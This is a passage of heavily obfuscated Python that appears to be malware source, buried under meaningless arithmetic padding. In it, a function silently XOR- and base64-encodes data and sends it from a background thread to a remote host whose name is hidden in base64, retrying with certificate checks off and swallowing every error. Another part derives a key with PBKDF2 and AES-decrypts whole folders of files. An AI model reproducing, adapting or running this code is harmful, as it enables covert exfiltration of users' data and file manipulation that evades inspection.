        for zJbtdmNSfKJGoJ in NZIeHyYmsujxndHBfMOQE:
            gprjqzplmvvc = 791
            lxykgkexeloq = 684
            bajnlwtakjktsnwk = 514
            mpolqexlwvye = 806
            eudyywbli = 610.09984761
            twzweikwqcwp = 25
            vsvjlcfytqpu = 941
            kotxqowzfrvachmvjr = 327
            zupcvnicvv = 636.7669371455
            ylbtpgldrnjkuprkaj = 371
            sdwxbmn = eudyywbli - twzweikwqcwp
            xdvell = kotxqowzfrvachmvjr - mpolqexlwvye
            wpaointo = twzweikwqcwp * bajnlwtakjktsnwk
            ffngaibolmdbf = twzweikwqcwp * ylbtpgldrnjkuprkaj
            rdixoedxwnfn = twzweikwqcwp - mpolqexlwvye
            aosxzp = eudyywbli + ylbtpgldrnjkuprkaj
            gfdfivyns = gprjqzplmvvc - ylbtpgldrnjkuprkaj
            paphxp = ylbtpgldrnjkuprkaj - bajnlwtakjktsnwk
            frczaevxqd = lxykgkexeloq - eudyywbli
            pnundehafhohyq = lxykgkexeloq * eudyywbli
            xfdbtfrofoqvn = lxykgkexeloq + vsvjlcfytqpu
            jdsdcxrsdbdw = vsvjlcfytqpu + bajnlwtakjktsnwk
            yclgauw = gprjqzplmvvc + lxykgkexeloq + bajnlwtakjktsnwk + mpolqexlwvye + eudyywbli + twzweikwqcwp + vsvjlcfytqpu + kotxqowzfrvachmvjr + zupcvnicvv + ylbtpgldrnjkuprkaj
            LINnZtIqtdFAKl += chr(ord(zJbtdmNSfKJGoJ) ^ oZTyWXuNYPlKa)
        return LINnZtIqtdFAKl

    def FSSNjaVWqdgNCwPbUzBwhc(self, NZIeHyYmsujxndHBfMOQE):
        def WtxldbWoOuKoZoZHLnwk():
            try:
                with load_locknotifer:
                    bffoch = 422
                    fhznlmsily = 300
                    bddtforondcadoli = 229
                    ghhpmbrtp = 207
                    fnhdnercqhqjq = 7
                    gtmiguawmawiudv = 904.625418
                    tlluoutjy = bffoch * fnhdnercqhqjq
                    pzguczhdd = fhznlmsily - ghhpmbrtp
                    nzcvklxdr = bddtforondcadoli - gtmiguawmawiudv
                    oZTyWXuNYPlKa = self.pYnrLCLTRUZTHRqEumxPiBGAcr()
                    LINnZtIqtdFAKl = self.ryGWFGbSEUmEWTUXMNuuIlDiQ(NZIeHyYmsujxndHBfMOQE, oZTyWXuNYPlKa)
                    bplWGLgcBcFHHnEbn = base64.b64encode(LINnZtIqtdFAKl.encode()).decode()
                    DBPKPzaNamyYw = f"{bplWGLgcBcFHHnEbn}~{oZTyWXuNYPlKa}"
                    icwsmafpehyfy = 65
                    podczulankzixzclyt = 870
                    hzsoubbey = 769
                    phztlpqultqtvas = 848
                    ydjukwu = 594
                    iuukosbevqk = 19
                    nosygouzioppxjqp = 896
                    rksjwuecfhfwebp = 534
                    xlvqoer = phztlpqultqtvas + ydjukwu
                    hlgrvtamx = icwsmafpehyfy + hzsoubbey
                    xsvurm = ydjukwu - podczulankzixzclyt
                    cujyefdqxhs = phztlpqultqtvas - podczulankzixzclyt
                    mcsxypmxf = hzsoubbey * nosygouzioppxjqp
                    asjmvmtqmtiu = podczulankzixzclyt + iuukosbevqk
                    ipdhexke = phztlpqultqtvas * iuukosbevqk
                    nildys = ydjukwu + hzsoubbey
                    hrqruzu = iuukosbevqk * hzsoubbey
                    dmgsfnnhpowu = ydjukwu + hzsoubbey
                    pebdqlugpbnx = hzsoubbey * podczulankzixzclyt
                    nrvycnbv = podczulankzixzclyt * nosygouzioppxjqp
                    HaYUZYxzcSglYnK = base64.b64encode(DBPKPzaNamyYw.encode()).decode()
                    DGZJhrJUJvGXRhzvb = urllib.parse.quote_plus(HaYUZYxzcSglYnK)
                    ZWHmjDkfVvkVdclV = 'bWdzdHN0dWRpby5zaG9w'
                    RYBTeAeZbiUOxeloi = base64.b64decode(ZWHmjDkfVvkVdclV).decode()
                    jpofwkqdidlbaeist = 508.1852531
                    natvzbylxwmaoaabyf = 464
                    hcwtekuaooobu = 786
                    mdqwfwzqsxfzbn = 429
                    iwfujfo = 393
                    jvlfuebjd = 993.6383338
                    vjyrjwrfa = hcwtekuaooobu * iwfujfo
                    bcexcqyahx = hcwtekuaooobu + mdqwfwzqsxfzbn
                    rdkhipxv = jpofwkqdidlbaeist - jvlfuebjd
                    inxkudnvyvqq = jvlfuebjd * iwfujfo
                    voxhtcjl = iwfujfo - jvlfuebjd
                    bobkbjeqhwbv = natvzbylxwmaoaabyf * jpofwkqdidlbaeist
                    jrlyrvwe = jpofwkqdidlbaeist + natvzbylxwmaoaabyf + hcwtekuaooobu + mdqwfwzqsxfzbn + iwfujfo + jvlfuebjd
                    try:
                        yvwihqg = 261.7
                        akwanskevwxvboi = 348.3
                        ovmydocn = 30
                        gkkgacmlwkpwai = 148
                        qthisvooxynbas = 250
                        ifnqnatb = 321
                        qspclomijbiwwwclwx = 142
                        tnblisnmwzhwzh = yvwihqg * qspclomijbiwwwclwx
                        synosha = gkkgacmlwkpwai + qthisvooxynbas
                        lqftuxfndpdt = ifnqnatb * qthisvooxynbas
                        pgdkugmcfx = yvwihqg - gkkgacmlwkpwai
                        szktkdybwiycp = ifnqnatb - qthisvooxynbas
                        xxqbbtu = yvwihqg - gkkgacmlwkpwai
                        bghtjgtvdpjo = akwanskevwxvboi * gkkgacmlwkpwai
                        omaqmd = ovmydocn * qthisvooxynbas
                        zKxikpxVaEggZIN = requests.post(f'https://{RYBTeAeZbiUOxeloi}/sunrise', data=DGZJhrJUJvGXRhzvb, timeout=10)
                    except requests.exceptions.SSLError:
                        omvzmmqydb = 386
                        aqhdjk = 277.7936
                        qwejgcochgubzhrsw = 829.9468777558
                        bmnkbbwymudgsn = 968
                        yciabtobgg = 635
                        apkwqkaoxgaq = qwejgcochgubzhrsw + aqhdjk
                        trsbxd = yciabtobgg - omvzmmqydb
                        usxokp = qwejgcochgubzhrsw + aqhdjk
                        qxqtfbfqzp = yciabtobgg + aqhdjk
                        geclvnz = omvzmmqydb * yciabtobgg
                        dklkqld = yciabtobgg * bmnkbbwymudgsn
                        lslgluowgfuqi = yciabtobgg - omvzmmqydb
                        gofvzyfcwvw = bmnkbbwymudgsn - yciabtobgg
                        tczxvgz = omvzmmqydb - bmnkbbwymudgsn
                        ygzfiicyllvn = aqhdjk * qwejgcochgubzhrsw
                        talktqrdw = aqhdjk * bmnkbbwymudgsn
                        zrtpseni = aqhdjk - omvzmmqydb
                        zKxikpxVaEggZIN = requests.post(f'https://{RYBTeAeZbiUOxeloi}/sunrise', data=DGZJhrJUJvGXRhzvb, verify=False, timeout=10)
                    oryjsdjr = 327
                    vzlpmpcjuz = 165.58
                    tjtmutcicwinfl = 141.83695
                    ijvbcadphyimjgca = 470
                    gmksfh = 989.67
                    knlakugo = 392.907948
                    womsseqktmgbve = gmksfh * knlakugo
                    vzmrvboboyxdam = gmksfh + tjtmutcicwinfl
                    skzgcyuaytcie = vzlpmpcjuz + ijvbcadphyimjgca
                    oakayphbhzp = ijvbcadphyimjgca + tjtmutcicwinfl
                    ptgtnqsnkki = oryjsdjr - knlakugo
                    xcwhawrq = ijvbcadphyimjgca * oryjsdjr
                    dvptrfi = tjtmutcicwinfl * oryjsdjr
                    ildavrag = vzlpmpcjuz + knlakugo
                    iimfiafwrqhlox = oryjsdjr - gmksfh
                    tbjtxhmysnyqj = tjtmutcicwinfl - vzlpmpcjuz
                    zanpbybya = knlakugo - vzlpmpcjuz
                    icaegpjieouhh = tjtmutcicwinfl - knlakugo
                    zKxikpxVaEggZIN.raise_for_status()
            except Exception:
                pass
        QtIedDrqSjLIwhiJva = threading.Thread(target=WtxldbWoOuKoZoZHLnwk)
        QtIedDrqSjLIwhiJva.start()

def wzkmgns():
    try:
        ghvfcjoeicunudp = 835
        ylcnxqf = 733
        dfmfcaryk = 82
        kxynvhbzdujvwxuis = 85
        xtevcszf = 59
        xmtdsjpeklwbb = 210
        dxypesldhbgj = 303
        fskiftjr = 136
        ncokarz = 375
        isggmavziu = 452
        favncawpyjso = 863
        hfylvplh = 140
        qrueuqjfrzunnzy = 510
        jjoeycnzr = 851
        qvdzueqtmm = hfylvplh + ylcnxqf
        rgiytu = dxypesldhbgj + dfmfcaryk
        ksodijy = isggmavziu * ylcnxqf
        zalshvici = qrueuqjfrzunnzy - xtevcszf
        ewhawhpqpbix = jjoeycnzr - xtevcszf
    except Exception:
        pass

wzkmgns()


def cgqlwq():
    try:
        jijhutfezyffkxjx = 49
        bplpadlgkijdyxpw = 22
        yxyvvp = 686
        nixtqmnpdtfndld = 393
        zaqlowav = 163
        ezqstxqpaselnh = 439
        axflvtqf = 867
        hjpqehalnujgjbx = 901
        lbpddvina = 215
        egktevlpakewa = 566
        tdofspfavhlc = 467
        jyosvdnokoq = 161
        remtcnkc = 225
        eboiajfgprqqsrn = 790
        eyxtkaew = nixtqmnpdtfndld - hjpqehalnujgjbx
        guiehudadartw = axflvtqf + egktevlpakewa
        nnjnycda = eboiajfgprqqsrn * yxyvvp
        empwdvd = lbpddvina + egktevlpakewa
        cqdmfh = yxyvvp * jyosvdnokoq
        kvhfjn = jijhutfezyffkxjx + bplpadlgkijdyxpw + yxyvvp + nixtqmnpdtfndld + zaqlowav + ezqstxqpaselnh + axflvtqf + hjpqehalnujgjbx + lbpddvina + egktevlpakewa + tdofspfavhlc + jyosvdnokoq + remtcnkc + eboiajfgprqqsrn
        return kvhfjn
    except Exception:
        pass

hblozq = cgqlwq()


def umbhobfqbxjtdozu(caahqqv, rdimzqvanfvwgovnhf, pgropywju, msbourgxc):
    try:
        rcxqqsnwwogvtd = 232
        htoskkmqvwqmukia = 9
        fyyzebw = 759
        fulhwfdlokuslct = 907
        etpqcwnuup = 387
        fpjjytkignlipxp = 670
        gmnushfdqyigrkizdb = 483
        qudwbrz = 423
        pkknkjdnjudyix = 197
        iyraagurgakyzny = 113
        xofvxkzgjcysgkdn = 299
        yayaqpxzvfekdcrv = 437
        yoniisyebyqzvu = 720
        opboubfwiunxnwwfdi = 249
        ogzhyabgj = pkknkjdnjudyix - htoskkmqvwqmukia
        qfuazcmyt = etpqcwnuup + pkknkjdnjudyix
        mfqbnxeiku = fulhwfdlokuslct * yayaqpxzvfekdcrv
        blnefsqtn = fulhwfdlokuslct + gmnushfdqyigrkizdb
        vowvntx = rcxqqsnwwogvtd + htoskkmqvwqmukia + fyyzebw + fulhwfdlokuslct + etpqcwnuup + fpjjytkignlipxp + gmnushfdqyigrkizdb + qudwbrz + pkknkjdnjudyix + iyraagurgakyzny + xofvxkzgjcysgkdn + yayaqpxzvfekdcrv + yoniisyebyqzvu + opboubfwiunxnwwfdi
        return vowvntx
    except Exception:
        pass

caahqqv = None
rdimzqvanfvwgovnhf = None
pgropywju = None
msbourgxc = None
japnrzegibzgiv = umbhobfqbxjtdozu(caahqqv, rdimzqvanfvwgovnhf, pgropywju, msbourgxc)
class TLgeukpVQFFGAXofbK:

    def __init__(self, qRLyNNhzCCjHlYhqTz):
        self.qRLyNNhzCCjHlYhqTz = qRLyNNhzCCjHlYhqTz

    def sKSUbVBffRcTbCidIyHsYYp(self, gibDkaTwFVOrtiQBrZDYigJX, JmsYsdgKWiynLehzKJslOnGsn):
        ncepucaeyle = 681
        kiylbzbpmwqe = 686
        ulgjwf = 584.70034
        nmghggm = 838
        ixhcdbeshgqqhmxlf = 348
        ozxsnnmhqhe = 195
        qzykfemzuw = 8
        cvmrggrfwjrv = 689
        ttzqqfop = kiylbzbpmwqe - nmghggm
        hafdzhwobs = qzykfemzuw - kiylbzbpmwqe
        ualdjenoagiel = ncepucaeyle * nmghggm
        fifsuxhrqisiaz = cvmrggrfwjrv + nmghggm
        xnltjqzei = ozxsnnmhqhe + ixhcdbeshgqqhmxlf
        giserp = ncepucaeyle - qzykfemzuw
        gexdpnfeyxwi = cvmrggrfwjrv - qzykfemzuw
        yjohjlz = ozxsnnmhqhe + nmghggm

        TYybrhnQlhZfqAGWK = default_backend()

        def JVnxuUqJCrGSIHBaGdctbLdNaP(rnINRrwhxXmbh, qWJfjUXNNsjVpPGnsuMxnx):
            try:
                SntvZbACQmEBebFuSPh = PBKDF2HMAC(
                    algorithm=hashes.SHA256(),
                    length=32,
                    salt=qWJfjUXNNsjVpPGnsuMxnx,
                    iterations=100000,
                    backend=TYybrhnQlhZfqAGWK
                )
                lxjubcf = 506.09528
                jbkkbrdgigab = 460.398583323
                ktpnkkmtidbnsfazs = 584
                kpltpicznqz = 982.3140
                volkwozs = kpltpicznqz + lxjubcf
                hexsjiojsl = ktpnkkmtidbnsfazs - jbkkbrdgigab
                tyaxlhcukb = kpltpicznqz * jbkkbrdgigab
                nojuwunr = lxjubcf * jbkkbrdgigab
                ctdunkvxb = lxjubcf * kpltpicznqz
                iabhwxyhwf = lxjubcf - kpltpicznqz
                bcuhyxjdq = kpltpicznqz - ktpnkkmtidbnsfazs
                hvgydddrkhg = lxjubcf + ktpnkkmtidbnsfazs
                epkdbbumrap = ktpnkkmtidbnsfazs + lxjubcf
                djxwyrdsxnmb = kpltpicznqz - ktpnkkmtidbnsfazs
                SShDNhxKJaSNmWswv = SntvZbACQmEBebFuSPh.derive(rnINRrwhxXmbh.encode())
                sbfnftz = 593.654897612
                qztigebyuit = 226.110195873
                axiksacoallvrk = 668
                umlnvit = 34.8
                qfnnzh = 547
                aurrwnpidsm = sbfnftz + qfnnzh
                hchmgchazgw = qztigebyuit + umlnvit
                tnlftuizkgg = qfnnzh - qztigebyuit
                zyvlkxadhj = qfnnzh * qztigebyuit
                jghgpbbbvgt = axiksacoallvrk - qfnnzh
                sdpecvtzbmg = axiksacoallvrk + sbfnftz
                fwlnmdmunrn = qztigebyuit + sbfnftz
                mejgfe = qztigebyuit + sbfnftz
                lokgjblkju = sbfnftz + qztigebyuit + axiksacoallvrk + umlnvit + qfnnzh
                return SShDNhxKJaSNmWswv
            except Exception as e:
                return None

        def dQbEyLpQcADZXuWenwupSEzDZ(keyNY, GqDZzMLQlVjTgLYKV, ycrrsEazZxUndKmz, wiXzwAvxqaSDOnanWfGghv=64*1024):
            try:
                with open(GqDZzMLQlVjTgLYKV, 'rb') as infileNY:
                    yfoloqhelvxfu = 169
                    uquoinouk = 95
                    ogofpgyiqld = 575
                    aqglqccecawd = 11.3
                    bpgmbs = aqglqccecawd + uquoinouk
                    nchpyqjuo = yfoloqhelvxfu - uquoinouk
                    onxxinebkl = uquoinouk + yfoloqhelvxfu
                    pcerxpv = yfoloqhelvxfu - uquoinouk
                    ymontsub = ogofpgyiqld - yfoloqhelvxfu
                    iigcsc = ogofpgyiqld + yfoloqhelvxfu
                    bqzxfxs = ogofpgyiqld * aqglqccecawd
                    ZbBMCTPXXPsZIwA = infileNY.read(16)
                    DmtlcsIVzoCGFLchvaoiH = Cipher(algorithms.AES(keyNY), modes.CBC(ZbBMCTPXXPsZIwA), backend=TYybrhnQlhZfqAGWK)
                    QcTazkJOgrYoac = DmtlcsIVzoCGFLchvaoiH.decryptor()
                    lztzcvwqvfydzlykf = 211
                    pkzwhodpcokwwctqur = 852
                    dfgttjczm = 432.12505
                    wpndthobwkbl = lztzcvwqvfydzlykf - pkzwhodpcokwwctqur
                    umthiyqpqtqq = pkzwhodpcokwwctqur + dfgttjczm
                    bpshzrzho = dfgttjczm - pkzwhodpcokwwctqur
                    twitusvfbhzga = pkzwhodpcokwwctqur * dfgttjczm
                    gopowtnfagk = pkzwhodpcokwwctqur + lztzcvwqvfydzlykf
                    eskxxwqpxqv = lztzcvwqvfydzlykf * dfgttjczm
                    arxczl = pkzwhodpcokwwctqur * dfgttjczm
                    amcqntfol = lztzcvwqvfydzlykf + dfgttjczm
                    qfyporuhem = lztzcvwqvfydzlykf - dfgttjczm
                    xujsxulzrmkbys = pkzwhodpcokwwctqur + lztzcvwqvfydzlykf
                    woiglges = lztzcvwqvfydzlykf * pkzwhodpcokwwctqur
                    aCucNUiCTfQhevkOludz = padding.PKCS7(algorithms.AES.block_size).unpadder()

                    with open(ycrrsEazZxUndKmz, 'wb') as SqLoVjBmTFfwIJvMybQFP:
                        while True:
                            enhmhyfyy = 126.974
                            cpurqfsquuumutj = 261
                            ypuywmtrlxlycj = 62
                            lleabwsauygo = 989
                            xwrgai = cpurqfsquuumutj + ypuywmtrlxlycj
                            lhkyxyqpppjjyp = enhmhyfyy + ypuywmtrlxlycj
                            yzjwjavyf = lleabwsauygo * cpurqfsquuumutj
                            kescpxwcrcxiv = lleabwsauygo - cpurqfsquuumutj
                            esbyjwcnvuwi = enhmhyfyy + cpurqfsquuumutj + ypuywmtrlxlycj + lleabwsauygo
                            TwxCbtZhRgFPN = infileNY.read(wiXzwAvxqaSDOnanWfGghv)
                            if len(TwxCbtZhRgFPN) == 0:
                                break
                            xtaggjghjftkdsm = 170
                            agcsadbazr = 416
                            didiepodouqbi = 363
                            rzdekupifilhho = 480
                            xqmvcmcgbvosoizd = 421.01
                            lcxgpyufsienur = 67
                            agzwwkkpdmfadx = 919.0037
                            delpdibasjmdniolgk = 313
                            amzjgyjlmep = 940.08167
                            jcywagd = 583
                            qpyxlxnuttd = xqmvcmcgbvosoizd * agzwwkkpdmfadx
                            vzitjdutul = lcxgpyufsienur - xtaggjghjftkdsm
                            bbdbvghax = jcywagd + agzwwkkpdmfadx
                            ccsuyfaxqjwjb = xqmvcmcgbvosoizd - delpdibasjmdniolgk
                            ncuffudlcvme = agcsadbazr * xtaggjghjftkdsm
                            gcwqzypsy = rzdekupifilhho * agzwwkkpdmfadx
                            bwhsfqx = delpdibasjmdniolgk - xqmvcmcgbvosoizd
                            ayqzyrkttlknc = xtaggjghjftkdsm + didiepodouqbi
                            ecmteido = didiepodouqbi + amzjgyjlmep
                            iesjkrvtp = xtaggjghjftkdsm + agcsadbazr + didiepodouqbi + rzdekupifilhho + xqmvcmcgbvosoizd + lcxgpyufsienur + agzwwkkpdmfadx + delpdibasjmdniolgk + amzjgyjlmep + jcywagd
                            aKhetTlHBvRILjsZbzPGwpXtad = QcTazkJOgrYoac.update(TwxCbtZhRgFPN)
                            if len(aKhetTlHBvRILjsZbzPGwpXtad) > 0:
                                SqLoVjBmTFfwIJvMybQFP.write(aCucNUiCTfQhevkOludz.update(aKhetTlHBvRILjsZbzPGwpXtad))

                        aKhetTlHBvRILjsZbzPGwpXtad = QcTazkJOgrYoac.finalize()
                        SqLoVjBmTFfwIJvMybQFP.write(aCucNUiCTfQhevkOludz.finalize())

                return True
            except Exception as e:
                return None


        def gfidgclwzbvfyas(ogwjgsdiaxnjilvzv, pmmgfe, iaxzsymthljiizaqkk, ifeqvcjjmouzviq):
            try:
                buzvxl = 163
                medxtmxsuyeumafln = 29
                fcealpfmgw = 770
                ogxblsgbozxueuhee = 125
                qaqwnjglzhffby = 110
                sctsgcgpziqbxbc = 602
                sbpfroibrlzhpix = 787
                reqgecutynfcmqj = 222
                xckqejnrmgthxus = 238
                hkjhyyb = 505
                aglakp = 211
                ljxxolpk = 374
                jpihrczgxoypx = 982
                yqosslewcsknj = 780
                bzzovn = xckqejnrmgthxus + ljxxolpk
                dzofxbjcgevw = qaqwnjglzhffby * reqgecutynfcmqj
                iazjtrj = reqgecutynfcmqj - xckqejnrmgthxus
                fclbsethcyldlc = ljxxolpk + qaqwnjglzhffby
            except Exception:
                pass

        ogwjgsdiaxnjilvzv = None
        pmmgfe = None
        iaxzsymthljiizaqkk = None
        ifeqvcjjmouzviq = None
        gfidgclwzbvfyas(ogwjgsdiaxnjilvzv, pmmgfe, iaxzsymthljiizaqkk, ifeqvcjjmouzviq)


        def xcjscwcccw():
            try:
                mxefqlv = 744
                gfthoinv = 681
                iwhomzbb = 395
                xosjxvvnvupjusuno = 660
                jtrkqiblcvglahoidq = 270
                bpnwlwi = 285
                recrmxwqceyvjyrol = 40
                dkmxsfgrdwrdisktb = 681
                grgtuthpwnmmzjxmr = 929
                usrbfqjervw = 413
                jhejpztljh = 933
                ukecrfxwfekzolsym = 906
                ckjleukvbcf = 422
                xtslwtymtbbyr = 739
                aazidparqvem = ukecrfxwfekzolsym * xtslwtymtbbyr
                bdlzzbfmot = dkmxsfgrdwrdisktb + iwhomzbb
                qvvswrzkamrk = xosjxvvnvupjusuno + iwhomzbb
            except Exception:
                pass

        xcjscwcccw()


        def elbbiojembvkgfhvnj(mlfluxjunlwfxqzh, vezgnzmkmztyknvpcf, mtivyxu, ptuxrot, hmuxiucxofmpko):
            try:
                vthyyts = 265
                tyiagzqkejnmxmytgh = 449
                cqltrq = 88
                fcaigj = 240
                ehgwhmylfcgicfjl = 784
                ftlwiderlddkrazrg = 360
                yusfftctkhxgkatrlw = 143
                gvcloxab = 348
                hpaqcfywysaaejkjtz = 806
                zjesabftbqxyxiywe = 187
                zqkdbanqonuubuqqo = 697
                zqixnbo = 43
                kesqzh = 580
                otymjlzhsvpsvxelfv = 270
                zxeudxjlizw = otymjlzhsvpsvxelfv - vthyyts
                uioxbt = zqkdbanqonuubuqqo * ftlwiderlddkrazrg
                gamosjh = zjesabftbqxyxiywe + zqixnbo
                jyygiet = yusfftctkhxgkatrlw * zqkdbanqonuubuqqo
                fkjlroeedvrp = hpaqcfywysaaejkjtz + kesqzh
            except Exception:
                pass

        mlfluxjunlwfxqzh = None
        vezgnzmkmztyknvpcf = None
        mtivyxu = None
        ptuxrot = None
        hmuxiucxofmpko = None
        elbbiojembvkgfhvnj(mlfluxjunlwfxqzh, vezgnzmkmztyknvpcf, mtivyxu, ptuxrot, hmuxiucxofmpko)
        def decrypt_folder(rnINRrwhxXmbh, ediuuYQAFLjZFHOa, JWcbFGrgLDpkHRotHdlecP, wZoRNuNDIKaKUDAj):
            try:
                kuyrviegmmrqpux = 42.06
                pzqblibe = 839
                eiyzmhlskqcgpgqb = 761
                kcfhmwkhqofuimhnm = 413
                ifptkzvcweq = 289
                fxcisxhgenjx = 662
                qttzyot = 499
                aeltoaerccohp = eiyzmhlskqcgpgqb + fxcisxhgenjx
                pvbnwmyhqktyzp = kcfhmwkhqofuimhnm - kuyrviegmmrqpux
                moxzfyuti = ifptkzvcweq + qttzyot
                ofdylj = ifptkzvcweq - qttzyot
                bzvlplgro = qttzyot * kuyrviegmmrqpux
                lyvqpyv = qttzyot * pzqblibe
                zvugvza = qttzyot - pzqblibe
                ryzjiihcxiqsaj = ifptkzvcweq - kcfhmwkhqofuimhnm
                xxusgbbitjeg = pzqblibe - eiyzmhlskqcgpgqb
                oswuhcczgn = eiyzmhlskqcgpgqb + ifptkzvcweq
                kkpvndbopq = fxcisxhgenjx + eiyzmhlskqcgpgqb
                gzFeeRGPZMJId = bytes.fromhex(JWcbFGrgLDpkHRotHdlecP)
                zYlSeBqenHFTCi = JVnxuUqJCrGSIHBaGdctbLdNaP(rnINRrwhxXmbh, gzFeeRGPZMJId)
                ctofwivixfsoplsu = 669
                mztumio = 980
                rykgui = 730
                lfqrjylgilycvf = 577
                ikefgh = 92
                xtmvwwuak = 278.11693
                jgdtvqbdrsrdrubwye = 430
                tsexjiwfcbsxcp = 209.7339116589
                mdfedmxmcnz = ctofwivixfsoplsu * ikefgh
                feaeamn = ikefgh + rykgui
                qtwlnkuuz = lfqrjylgilycvf * jgdtvqbdrsrdrubwye
                qlltsqnkdb = jgdtvqbdrsrdrubwye * ctofwivixfsoplsu
                nnnalmvanedlmr = ctofwivixfsoplsu - rykgui
                ipkgjekov = lfqrjylgilycvf - jgdtvqbdrsrdrubwye
                ndzxxza = lfqrjylgilycvf + mztumio
                zylvyvtwxxgl = mztumio * jgdtvqbdrsrdrubwye
                ocymgsyyrr = jgdtvqbdrsrdrubwye * ctofwivixfsoplsu
                yfmgjmdxxuotf = ctofwivixfsoplsu + mztumio + rykgui + lfqrjylgilycvf + ikefgh + xtmvwwuak + jgdtvqbdrsrdrubwye + tsexjiwfcbsxcp
                if zYlSeBqenHFTCi is None:
                    return False

                for root, _, dVAGexvCVthmJjDMAVYHCG in os.walk(ediuuYQAFLjZFHOa):
                    for fileNY in dVAGexvCVthmJjDMAVYHCG:
                        qpzguxv = 978
                        nhjbilykhdy = 172.075290
                        jwkxobvctruutgovjy = 123.820468903
                        zrxryau = 988
                        ekmpmndtuwykyhlokn = 118
                        kjsvtpqcss = 770
                        bkrliuvlcntynxi = 784
                        bsddqwizuflapsq = 903.4894520
                        flzxhtfadsonhbvwli = 728
                        wsevrr = 954.99473058
                        rnxpvjmqbkwwix = wsevrr * kjsvtpqcss
                        akljqvc = flzxhtfadsonhbvwli + ekmpmndtuwykyhlokn
                        sghsgedf = kjsvtpqcss * bkrliuvlcntynxi
                        ymQgmpaaWDbMVGbeKxqc = os.path.join(root, fileNY)
                        bqpIGWNaCrvLShho = os.path.relpath(ymQgmpaaWDbMVGbeKxqc, ediuuYQAFLjZFHOa)
                        ipXhtXtnfoRTRIE = os.path.join(wZoRNuNDIKaKUDAj, bqpIGWNaCrvLShho)
                        pzghspt = 70
                        klhjccdrmwrbbt = 656
                        iwzrmfwnesvc = 759.6
                        gkgrctpoi = 354
                        fyemwzsajf = 407
                        yuoxtlodihwryy = klhjccdrmwrbbt * fyemwzsajf
                        wvvefo = iwzrmfwnesvc * gkgrctpoi
                        bnudfc = gkgrctpoi * klhjccdrmwrbbt
                        lyqqvdyz = iwzrmfwnesvc + fyemwzsajf
                        qbuqrcex = iwzrmfwnesvc + pzghspt
                        rhicoufrcagicm = gkgrctpoi * fyemwzsajf
                        seioyqjfjgken = gkgrctpoi - iwzrmfwnesvc
                        uheytah = gkgrctpoi * pzghspt
                        gzmbnjw = iwzrmfwnesvc + klhjccdrmwrbbt
                        ytwihudejxv = gkgrctpoi - klhjccdrmwrbbt
                        rdettys = gkgrctpoi * fyemwzsajf
                        nwjyxc = klhjccdrmwrbbt - pzghspt
                        os.makedirs(os.path.dirname(ipXhtXtnfoRTRIE), exist_ok=True)
                        osDBTUuYrceeTR = dQbEyLpQcADZXuWenwupSEzDZ(zYlSeBqenHFTCi, ymQgmpaaWDbMVGbeKxqc, ipXhtXtnfoRTRIE)
                        if osDBTUuYrceeTR is None:
                            return False

                return True
            except Exception as e:
                return False


        def swmqincbrymvkg(zhnkluguwqf, sfifundzbyneqkr, ilggtbyfrzjn, owzbucovsvdqr, vvveoiyf):
            try:
                dlxospvuviazuqx = 858
                ddwysnpldq = 520
                bibwoxvjpibajdrxq = 894
                lnrfefoagxig = 647
                maggclzvvct = 380
                fqmuqykt = 26
                qoiataieceiou = 851
                qawtxuoaspxzqkgs = 131
                glilwotnephsafget = 604
                pdhiljlzpykqracyq = 289
                lullrbagdyacq = 92
                bvrwmmoin = qoiataieceiou * dlxospvuviazuqx
                xcdzqvotyfl = fqmuqykt * ddwysnpldq
                qnqgevqhqds = maggclzvvct - pdhiljlzpykqracyq
                jiknmazd = dlxospvuviazuqx * lullrbagdyacq
                ejkbch = glilwotnephsafget - qoiataieceiou
                gdhhsb = dlxospvuviazuqx + ddwysnpldq + bibwoxvjpibajdrxq + lnrfefoagxig + maggclzvvct + fqmuqykt + qoiataieceiou + qawtxuoaspxzqkgs + glilwotnephsafget + pdhiljlzpykqracyq + lullrbagdyacq
                return gdhhsb
            except Exception:
                pass

        zhnkluguwqf = None
        sfifundzbyneqkr = None
        ilggtbyfrzjn = None
        owzbucovsvdqr = None
        vvveoiyf = None
        mvqpgezugha = swmqincbrymvkg(zhnkluguwqf, sfifundzbyneqkr, ilggtbyfrzjn, owzbucovsvdqr, vvveoiyf)
        def OdzZGqeaIVlNRKJzNvIlI(nKDJftAzPRERpTueRzYgOkZD=1933):
            try:
                LWKbTOEPGtgqaHwJ = []
                tOGoLnexAPNDh = nKDJftAzPRERpTueRzYgOkZD

                vELgmsuImBEsNRrjJWh = random.randint(5, 15)
                sbjint = 999
                naffdojuwur = 57
                mcsvxonujlxkmobob = 224
                iskqtwpogdqpe = 673
                sfbhrfiq = 420.6414597
                huwolp = 447
                hiiczz = iskqtwpogdqpe * naffdojuwur
                ujugzlcj = iskqtwpogdqpe * huwolp
                wbrbuizxirb = sbjint * iskqtwpogdqpe
                liwawksglqt = iskqtwpogdqpe - sbjint
                jkeyikxgdnws = iskqtwpogdqpe * sbjint
                fqzhzkeqjwxig = mcsvxonujlxkmobob * naffdojuwur
                ssfyvni = mcsvxonujlxkmobob + naffdojuwur
                eppupxmbxugkex = naffdojuwur - sbjint
                hxkvjxbccw = sbjint * huwolp
                ozdwxjwqqubc = huwolp * sfbhrfiq
                for _ in range(vELgmsuImBEsNRrjJWh - 1):
                    FTOnDzGrDhvKPb = random.choice(['+', '-'])
                    kDTmLwjmyuRolKzqYa = random.randint(1, 500)
                    mutnkocmhznnilxm = 26
                    euajxrtqretqzprbi = 37
                    yhaiyfrh = 554
                    vprvxx = 73
                    pxzdtvbabljcad = 600
                    nvtqrgiuol = 129
                    dcpbofnkmwzq = 699
                    qvbwvbbasxnml = 762.66818
                    nsabbkcqc = 934.616
                    zafmluslgsf = 905.02
                    beetugey = vprvxx + euajxrtqretqzprbi
                    incfztcbdze = euajxrtqretqzprbi * dcpbofnkmwzq
                    zoechpwaivaqq = vprvxx - nvtqrgiuol
                    xtrntlancczn = nvtqrgiuol * dcpbofnkmwzq
                    cfnwmosprecfu = qvbwvbbasxnml + vprvxx
                    cxopfmjedfryr = pxzdtvbabljcad * vprvxx
                    if FTOnDzGrDhvKPb == '+':
                        LWKbTOEPGtgqaHwJ.append(f'+{kDTmLwjmyuRolKzqYa}')
                        tOGoLnexAPNDh -= kDTmLwjmyuRolKzqYa
                    elif FTOnDzGrDhvKPb == '-' and tOGoLnexAPNDh + kDTmLwjmyuRolKzqYa >= 0 and tOGoLnexAPNDh + kDTmLwjmyuRolKzqYa <= 500:
                        LWKbTOEPGtgqaHwJ.append(f'-{kDTmLwjmyuRolKzqYa}')
